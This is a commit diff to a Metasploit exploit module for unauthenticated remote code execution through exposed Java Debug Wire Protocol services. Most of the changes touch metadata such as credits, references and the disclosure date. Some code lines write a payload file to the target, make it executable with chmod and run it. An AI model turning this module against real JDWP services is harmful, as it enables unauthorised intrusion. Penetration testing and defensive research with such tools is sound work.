Do minor cleanup

Author: jvazquez-r7

modules/exploits/multi/misc/java_jdwp_debugger.rb

@@ -68,18 +68,16 @@ class Metasploit3 < Msf::Exploit::Remote
   STEP_MIN                  = 0
   THREAD_SLEEPING_STATUS     = 2
 
-
   def initialize
     super(
       'Name'           => 'Java Debug Wire Protocol Remote Code Execution',
       'Description'    => %q{
         This module abuses exposed Java Debug Wire Protocol services in order
-        to execute arbitrary Java code remotely. It just uses the protocol
+        to execute arbitrary Java code remotely. It just abuses the protocol
         features, since no authentication is required if the service is enabled.
       },
       'Author'         => [
-        'prdelka', # Vulnerability discovery
-        'Michael Schierl', # First exploit seen
+        'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
         'Christophe Alladoum', # JDWP Analysis and Exploit
         'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
       ],
@@ -88,8 +86,8 @@ def initialize
           ['OSVDB', '96066'],
           ['EDB', '27179'],
           ['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
+          ['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],
           ['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
-          ['URL', 'http://www.exploit-db.com/papers/27179/'],
           ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
           ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
         ],
@@ -116,7 +114,7 @@ def initialize
         ],
       'DefaultTarget'  => 0,
       'License'        => MSF_LICENSE,
-      'DisclosureDate' => 'May 29 2014'
+      'DisclosureDate' => 'Mar 12 2010'
     )
 
     register_options(
@@ -892,8 +890,10 @@ def exec_payload(thread_id)
     close_file(thread_id, file)
 
     # 5b. When linux arch, give execution permissions to file
-    cmd = "chmod +x #{payload_exe}"
-    execute_command(thread_id, cmd) if target['Platform'] == 'linux'
+    if target['Platform'] == 'linux'
+      cmd = "chmod +x #{payload_exe}"
+      execute_command(thread_id, cmd)
+    end
 
     # 6. Executes the dumped payload
     cmd = "#{payload_exe}"
@@ -935,7 +935,7 @@ def exploit
 
     unless parse_event(response, r_id, t_id)
       datastore['NUM_RETRIES'].times do |i|
-        print_status("#{peer} - Received #{i+1} responses that are not a 'step into' event...")
+        print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...")
         buf = read_reply
         break if parse_event(buf, r_id, t_id)